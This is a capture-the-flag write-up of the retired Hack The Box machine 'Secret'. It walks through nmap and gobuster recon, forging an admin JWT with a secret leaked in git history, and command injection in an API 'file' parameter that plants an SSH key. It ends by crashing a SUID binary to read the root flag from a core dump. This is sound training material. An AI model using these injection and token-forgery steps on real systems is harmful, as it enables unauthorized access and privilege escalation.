Secret @ Hack The Box
A write-up on HTB Secret Box
Secret was a Linux box set up by z9fr
at Hack the Box. This machine was easy in terms of difficulty and now it has been retired.
Reconnaissance
Starting with recon for the initial information gathering, I scan the machine (10.10.11.120
) using nmap
.
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ sudo nmap -sV -sC 10.10.11.120
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-25 20:20 UTC
Nmap scan report for 10.10.11.120
Host is up (0.21s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.05 seconds
For more information about the hosted pages, I brute-force the URLs by carring out subdomain enumeration using gobuster
.
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ gobuster dir -u http://10.10.11.120/ -w /usr/share/dirb/wordlists/common.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.120/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/03/08 20:31:34 Starting gobuster in directory enumeration mode
===============================================================
/api (Status: 200) [Size: 93]
/assets (Status: 301) [Size: 179] [--> /assets/]
/docs (Status: 200) [Size: 20720]
/download (Status: 301) [Size: 183] [--> /download/]
===============================================================
2022/03/08 20:34:13 Finished
===============================================================
Initial foothold
Now it’s the time to view the site.
Well, it has some documentation related to the usage of the API. Additionally, the source code of website is available there to download, too. I download the code as an archive for further analysis.
Also, after going through the API docuentation, we can perform following steps sequentially:
1. Register New User
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -i -X POST \
> -H 'Content-Type: application/json' \
> -d '{"name":"blackhole", ""email":"hacker@mail.io",
> "password":"aneasyone"}' \
> http://10.10.11.120/api/user/register
After this, we get the following response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Mar 2022 11:28:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 20
Connection: keep-alive
X-Powered-By: Express
ETag: W/"14-rrPrgAL7kbu96u9yO7ZEB761yRI"
{"user":"blackhole"}
2. Login with this credentials
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -i -X POST \
> -H 'Content-Type: application/json' \
> -d '{"email":"hacker@mail.io", "password":"aneasyone"}' \
> http://10.10.11.120/api/user/login
The successful login will give JWT token in response.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Mar 2022 11:31:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 208
Connection: keep-alive
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoiYmxhY2tob2xlIiwiZW1haWwiOiJoYWNrZXJAbWFpbC5pbyIsImlhdCI6MTY0ODcyNjI4N30.-Wy5aHO15p34Gde8qUELpcxwRsUJkeF9mJI3hOmegrs
ETag: W/"d0-19bfrWHaccD2B5CLvVRfktWZMqg"
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoiYmxhY2tob2xlIiwiZW1haWwiOiJoYWNrZXJAbWFpbC5pbyIsImlhdCI6MTY0ODcyNjI4N30.-Wy5aHO15p34Gde8qUELpcxwRsUJkeF9mJI3hOmegrs
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -w '\n' -H 'auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoiYmxhY2tob2xlIiwiZW1haWwiOiJoYWNrZXJAbWFpbC5pbyIsImlhdCI6MTY0ODcyNjI4N30.-Wy5aHO15p34Gde8qUELpcxwRsUJkeF9mJI3hOmegrs' http://10.10.11.120/api/priv
Although it’s user level as expacted and can be seen in response:
{"role":{"role":"you are normal user","desc":"blackhole"}}
It means that somehow, if we can get the admin’s JWT token, we can spoof the system. Or we can also try making such similar token.. isn’t it;)
3. Customize the JWT token
From the downloaded source code, we checked local-web/routes/private
and found the admin’s username and email. The following snippet (line 5 to 29) gives the same as below:
router.get('/priv', verifytoken, (req, res) => {
// res.send(req.user)
const userinfo = { name: req.user }
const name = userinfo.name.name;
if (name == 'theadmin'){
res.json({
creds:{
role:"admin",
username:"theadmin",
desc : "welcome back admin,"
}
})
}
else{
res.json({
role: {
role: "you are normal user",
desc: userinfo.name.name
}
})
}
})
Let’s customize the JWT token at jwt.io. I checked for previlige again using updated token but it still shows the same. Exploring the code further, we found that it is a git repository. So we checked the previous git logs. after the logs. It further directed me to .env
file.
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
I tried updating the JWT token with recently found secret token ('secret
'). But while checking for previlage, we found the token to be invalid! Looking for previous commits, one of the recent commit message directed to check the previous commits.
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret/files/local-web]
└─$ git diff HEAD~2
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
And here we got the secret! I update the token again…
Checking for freshly updated JWT token gives following response:
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Now as we have the admin previllege we can view into /etc/passwd
that tells that currently we have access to the ‘dasith’ user.
This ensures that we can also create new files through CLI just using the admin JWT token.
Privilege escalation
Now, we would add our RSA public key in remote (Secret) machine’s .ssh/
directory. A RSA key-pair can easily be generated using ssh-keygen -t rsa
. I have generated one such pair with name ‘id_rsa’ and ‘id_rsa.pub.
Save the public key in the .ssh
directory on remote dasith (user) home directory using JWT token.
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ export SSH_KEY=$(cat /home/kali/.ssh/id_rsa.pub)
┌──(kali㉿blackbox)-[~/Documents/HTB/Secret]
└─$ curl -i -H \
> 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ1OTA2MmY4MGEzYjA0NzMzNTczZTIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjQ4NzI2Mjg3fQ.1ngbn1hcez15CPa9itaGDf1B1hpYcy1d1OzQEaQtkyU' \
> -G --data-urlencode "file=index.js; mkdir -p /home/dasith/.ssh; echo $SSH_KEY >> /home/dasith/.ssh/authorized_keys" \
> http://10.10.11.120/api/logs
On the key has successfully been pushed, we’ll get the following response:
### rsp
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 31 Mar 2022 12:17:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 27
Connection: keep-alive
X-Powered-By: Express
ETag: W/"1b-pFfOEX46IRaNi6v8ztcwIwl9EF8"
"ab3e953 Added the codes\n"
Gaining user (dasith)
As we already have the authorized private key at our system, we can simply try accessing the dasith on secret machine using ssh.
┌──(kali㉿blackbox)-[~]
└─$ ssh dasith@10.10.11.120
Enter password as you used while generating the RSA key-pair. (leave if key does not consist any passphrase). It’ll quickly let us to gain user’s shell. e can find the user flag in the hoe directory of dasith.
The user flag can be seen in the user’s home directory as user.txt
:
429338😈😈😈😈😈😈😈932c42
Gaining root
While searching for the SUID binary files using find / -perm -u=s -type f 2>/dev/null
, we arrived to the /opt/
directory. Along with the executable file count
, there resides a code.c
.
By going through the source code, we found that it can load any file from the system and save the current session if asked for it. The interesting part is that if the program crashes somehow, it would dump the data loaded so far in the crash-logs.
Well, therefor we’ll try to read root flag /root/root.txt
using count
executable file without saving the data anywhere and let the process run in background.
Now we can mannually kill the process and once done so, idealy the dump must be available for us to read.
dasith@secret:~$ kill -BUS 2365
After viewing the CoreDump
data, we track the flag in it. See the part of CoreDump
below:
=
▒`��DE�U(��DE�U8�DE�� ������o����o���o��DE�U���o▒=��0ϼ�u�PO��`����+�`r�N��N�`^�������������.��p��Z�0b�����r��o����DE�U�Save results a file? [y/N]: words = 2
Total lines = 2
/root/root.txt
��$�����F�U���F�U���F�U���F�U���F�U���F�U���F�U���F�U������F�U�����������F�U�������`��5fdbf2😈😈😈😈😈😈😈41122f
a�ELF>�qTy+�8@ED��J�R@I@IPPP�u�u���e�e�v��P؎�������PPP pppDDv��S�tdPPP P�td����^�^Q�tdR�tdv��**GNU�GNU ��%������X>��NGNU�? �8 :������R'��C���E~���* *� _D����S$dIp��701�G����,���[9▒\ -|���/�m��
�� Q�4 ��nY! v�uk\�2R<�� �����r��f�)���m�▒� `���b
��2��=lU�!
Finally, the flag present in /root/root.txt
is :
5fdbf2😈😈😈😈😈😈😈41122f